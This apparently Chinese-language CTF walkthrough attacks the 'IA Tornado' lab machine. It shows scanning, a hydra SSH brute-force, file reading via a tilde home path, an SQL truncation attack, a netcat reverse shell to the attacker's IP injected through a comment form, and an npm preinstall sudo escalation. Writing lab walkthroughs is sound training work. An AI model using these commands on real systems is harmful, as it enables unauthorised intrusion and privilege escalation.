IA TORNADO 靶机

介绍:

About Release

信息收集

  1. arp-scan 10.9.23.0/24 找到目标靶机
sudo arp-scan 10.9.23.0/24
10.9.23.145     08:00:27:41:87:7b       PCS Systemtechnik GmbH
10.9.23.145     08:00:27:41:87:7b       PCS Systemtechnik GmbH (DUP: 2)
  1. nmap -sV -p- -A 10.9.23.145 开放了22端口和80端口 可以尝试爆破和在web端寻找漏洞
sudo nmap -sV -p- -A 10.9.23.145
Starting Nmap 7.93 ( https://nmap.org ) at 2024-01-20 15:05 CST
Nmap scan report for bogon (10.9.23.145)
Host is up (0.00053s latency).
Not shown: 65533 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 0f570d60314afd2bdb3e9e2f632e35df (RSA)
|   256 009ac8d3ba1b47b248a888249ffe33cc (ECDSA)
|_  256 6dafdb2125eeb0a67d05f306f065ffdc (ED25519)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-title: Apache2 Debian Default Page: It works
|_http-server-header: Apache/2.4.38 (Debian)
MAC Address: 08:00:27:41:87:7B (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
  1. 密码爆破 因为有22端口 尝试爆破
  • hydra爆破 root密码为idkrootpassword
hydra ssh://10.9.23.141 -l root -P /home/kali/tools/wordlists/top_password.txt -V
[22][ssh] host: 10.9.23.141   login: root   password: idkrootpassword
  • ssh登录尝试 登陆成功
ssh root@10.9.23.141                                          1305 ⚙
root@10.9.23.141's password: 
Linux tornado 4.19.0-13-amd64 #1 SMP Debian 4.19.160-2 (2020-11-28) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
Last login: Mon Feb 26 14:57:00 2024 from 10.9.23.234
root@tornado:~# 
  1. dirb
sudo dirb http://10.9.23.145

发现扫描不出有用的信息 换一种扫描
5. gobuster

gobuster dir -u http://10.9.23.145 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.html,.txt,.sh

===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.9.23.145
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.5
[+] Extensions:              php,html,txt,sh
[+] Timeout:                 10s
===============================================================
2024/01/20 15:11:06 Starting gobuster in directory enumeration mode
===============================================================
/.html                (Status: 403) [Size: 276]
/index.html           (Status: 200) [Size: 10701]
/.php                 (Status: 403) [Size: 276]
/manual               (Status: 301) [Size: 311] [--> http://10.9.23.145/manual/]
/javascript           (Status: 301) [Size: 315] [--> http://10.9.23.145/javascript/]
/.php                 (Status: 403) [Size: 276]
/.html                (Status: 403) [Size: 276]

/bluesky              (Status: 301) [Size: 312] [--> http://10.9.23.145/bluesky/]

/server-status        (Status: 403) [Size: 276]

扫描到目录bluesky 查看一下网页 --> http://10.9.23.145/bluesky/
访问后没有发现有信息 源代码等都看过没有 接着扫描一下新目录
6. gobuster

gobuster dir -u http://10.9.23.145/bluesky/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .php,.html,.txt,.sh

===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.9.23.145/bluesky/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.5
[+] Extensions:              php,html,txt,sh
[+] Timeout:                 10s
===============================================================
2024/01/20 15:25:20 Starting gobuster in directory enumeration mode
===============================================================
/.php                 (Status: 403) [Size: 276]
/.html                (Status: 403) [Size: 276]
/contact.php          (Status: 302) [Size: 2034] [--> login.php]
/about.php            (Status: 302) [Size: 2024] [--> login.php]
/login.php            (Status: 200) [Size: 824]
/index.html           (Status: 200) [Size: 14979]
/signup.php           (Status: 200) [Size: 825]
/css                  (Status: 301) [Size: 316] [--> http://10.9.23.145/bluesky/css/]                                                                               
/imgs                 (Status: 301) [Size: 317] [--> http://10.9.23.145/bluesky/imgs/]                                                                              
/js                   (Status: 301) [Size: 315] [--> http://10.9.23.145/bluesky/js/]                                                                                
/logout.php           (Status: 302) [Size: 0] [--> login.php]
/dashboard.php        (Status: 302) [Size: 2024] [--> login.php]
/port.php             (Status: 302) [Size: 2098] [--> login.php]

扫描出了/contact.php、/signup.php、/port.php目录 查看一下
image.png
是个登录界面 继续寻找别的 看有没有密码等

进入/signup.php进入页面 这是一个注册页面 先注册一个登录看看

尝试进入后台获得shell

  1. 在注册页面注册身份登录 http://10.9.23.145/bluesky/signup.php
    image.png

  2. 在网页源代码发现了name=12 可能是最多只能输入12个字符的用户名 不知道有什么用 先保存image.png

  3. 在登录页面用刚才的账号密码登录看 http://10.9.23.145/bluesky/login.php
    账号:wwtt@163.com
    密码:123
    image.png

  4. 登录到页面image.png

  5. 查看源代码发现第三个模块中的源代码有注释 给了一个目录 /home/tornado/imp.txt
    并且他告诉我们LFI是已经被修复 不要忘记尝试 那么就能可能还存在 这里的LFI就是文件包含漏洞
    image.png
    发现目录后这里因为给的是一个家目录的内容 直接访问不能访问 因为是家目录 在linux中 家目录会用~代替 ~是home的别名 这里用了个别名的文件包含漏洞 尝试用~代替/home/尝试是否可以访问 【 http://10.9.23.145/~tornado/ 】

> port页面说LFI已经修复了,说明常见的利用姿势都不顶用了
> 
> 而源码又提示了个`<!-- /home/tornado/imp.txt -->`
> 
> 说明可以读取这个文件的内容,直接读取肯定不奏效的
> 
> 这边利用`~`代替家目录,可以进行读取
  1. 访问页面查看内容 发现了他提示的内容 里面有txt文件image.png

  1. 文件中有几个用户名 收集起来
ceo@tornado
cto@tornado
manager@tornado
hr@tornado
lfi@tornado
admin@tornado
jacob@tornado
it@tornado
sales@tornado
  1. 因为有了用户名但是没有密码 所以尝试爆破 但是在手动尝试时发现用户名不能输入完全 查看源代码中限制了登录的长度 为13 那么用户名中有正好13字符的 可能只有这些才是正确的 所以尝试爆破这三个用户名
admin@tornado
jacob@tornado
sales@tornado

密码爆破

  • 打开bp爆破 创建用户名字典 然后使用集束炸弹模式

  • 抓取到登陆时的数据 选中用户名密码 image.png
    image.png

  • 创建一个用户名字典 在字典中添加三个用户名 image.png

  • 进程2选择runtime file 选择rockyou字典image.png

  • 开始爆破 image.png

  • 爆破发现admin用户有很多密码 尝试登录发现每一个密码都可以登录

  • 但是剩下两个用户都没有密码 尝试注册一下sales@tornado用户image.png

  • 注册成功了 登录查看和普通用户都一样 但是注册成功证明一个用户名可能会有很多密码 可以登录

SQL Truncation Attack(SQL 截断攻击)

​ 由于用户名位置作了限制联想到后台数据库同样做了限制再加上admin@tornado用户的多个密码联想到后台肯定有多个admin@tornado用户,两个条件加在一起可以猜测到就是SQL截断攻击后产生的多个admin@tornado用户

简介:

​ 当数据库由于长度限制而截断用户输入时,就会发生 SQL 截断漏洞。攻击者可以收集关键字段(例如用户名)长度的信息,并利用这些信息获得未经授权的访问。

让我们来测试一下,注册一个帐号先修改输入限制,填入用户名是jacob@tornado空格a,
  • 尝试注册 用户的账号 但是显示账号已经存在了image.png
  • 查看登陆界面的源代码 发现了和注册界面一样的显示一个用户名的长度 image.png
  • 这里的type字段经过尝试是可以更改的 我们更改到20 然后注册一个jacob@tornado a 这样的用户名在这注册的时候可以注册并且登录时网页只会识别13位 也就是和jacob@tornado一样的用户名image.png

可以注册成功image.png

  • 登录查看区别 登录的密码就是我们刚才注册的加了一个a的用户的密码 但是用户在登录的时候只会识别13位 image.png
  • 登陆成功 刚才在别的用户中 评论注释功能都关着 这个用户是可以评论的 image.png
  • 尝试评论看是否可以有返回值 评论id会返回id 但是没有回显id的内容 说明可以写入内容但是不能执行 image.png

反弹shell

  • 尝试写入一个反弹shell 看能否执行【nc -e /bin/bash 10.9.23.234 8888】瑞士军刀nc在网页提交反弹命令image.png
  • kali中开启nc监听8888端口image.png
  • 点击提交评论后就可以弹进去image.png
  • 开启一个新的shell会话【python -c ‘import pty;pty.spawn(“/bin/bash”)’】image.png
  • 尝试sudo -l提权 提示可以用npm执行bin/bash命令 使用catchme用户的权限
    image.png

  • npm是Node.js的包管理器,它是一个命令行工具,用于下载、安装和管理JavaScript包和依赖项。它是Node.js平台的默认包管理器,与Node.js一起安装。

通过npm,你可以执行各种操作,包括:

  1. 安装包: 通过npm install命令安装指定的npm包或模块到你的项目中。

  2. 管理依赖项: npm允许你在package.json文件中列出项目的依赖项,并且可以通过npm install安装这些依赖项。

  3. 发布包: 如果你编写了一个模块或库,并希望其他人能够使用它,你可以通过npm publish命令将其发布到npm注册表上。

  4. 更新包: 使用npm update命令可以更新你项目的依赖项到它们的最新版本。

  5. 查找包: 你可以通过npm search命令在npm注册表中搜索包。

  6. 执行脚本: 通过在package.json文件中定义scripts字段,你可以使用npm run命令执行预定义的脚本任务。


  • 查看下nmp的使用方法 npm使用方法
    image.png

  • 使用sudo方式命令

    • cd /tmp
    • TF=$(mktemp -d) 创建一个临时目录
    • echo ‘{“scripts”: {“preinstall”: “/bin/sh”}}’ > $TF/package.json
      • 这行命令会将一个包含了preinstall脚本的package.json文件写入到指定的临时目录中。这个脚本会在npm安装包之前被执行。在这个例子中,preinstall脚本指定了/bin/sh,这会启动一个shell。
    • ls
    • chmod 777 tmp.WD2zg0gFqe 给生成的文件权限
    • sudo -u catchme npm -C $TF --unsafe-perm i 利用这个用户执行npm
  • 成功提权到普通用户 catchmeimage.png

  • 尝试查看家目录内容 cd /home/catchme ls
    image.png

  • 发现有user.txt 还有enc.py两个文件 依次查看 发现了一个用户名一个
    image.png

  • 先记录用户名 查看py文件 问了gpt说是凯撒加密的密文 找网页解密一下 给顶的加密的消息是hcjqnnsotrrwnqc
    image.png

  • 网站给到的密码中只有一个看起来像密码 (我是真没看出来 这个是看教程的)

ID:0 : hcjqnnsotrrwnqc
ID:1 : gbipmmrnsqqvmpb
ID:2 : fahollqmrppuloa
ID:3 : ezgnkkplqootknz
ID:4 : dyfmjjokpnnsjmy
ID:5 : cxeliinjommrilx
ID:6 : bwdkhhminllqhkw
ID:7 : avcjgglhmkkpgjv
ID:8 : zubiffkgljjofiu
ID:9 : ytaheejfkiineht
ID:10 : xszgddiejhhmdgs
ID:11 : wryfcchdigglcfr
ID:12 : vqxebbgchffkbeq
ID:13 : upwdaafbgeejadp
ID:14 : tovczzeafddizco
ID:15 : snubyydzecchybn
ID:16 : rmtaxxcydbbgxam
ID:17 : qlszwwbxcaafwzl
ID:18 : pkryvvawbzzevyk
ID:19 : ojqxuuzvayyduxj
ID:20 : nipwttyuzxxctwi
ID:21 : mhovssxtywwbsvh
ID:22 : lgnurrwsxvvarug
ID:23 : kfmtqqvrwuuzqtf
ID:24 : jelsppuqvttypse
ID:25 : idkrootpussxord
ID:26 : hcjqnnsotrrwnqc
ID:27 : gbipmmrnsqqvmpb
ID:28 : fahollqmrppuloa
ID:29 : ezgnkkplqootknz
ID:30 : dyfmjjokpnnsjmy
ID:31 : cxeliinjommrilx
ID:32 : bwdkhhminllqhkw
ID:33 : avcjgglhmkkpgjv
ID:34 : zubiffkgljjofiu
ID:35 : ytaheejfkiineht
ID:36 : xszgddiejhhmdgs
ID:37 : wryfcchdigglcfr
ID:38 : vqxebbgchffkbeq
ID:39 : upwdaafbgeejadp
  • 只有第25个 idkrootpussxord像密码 尝试后 刚才的用户以及root的密码都不是 稍作修改为
  • idkrootpassword
  • 切换成功root
    image.png
  • 55
    点赞
  • 28
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值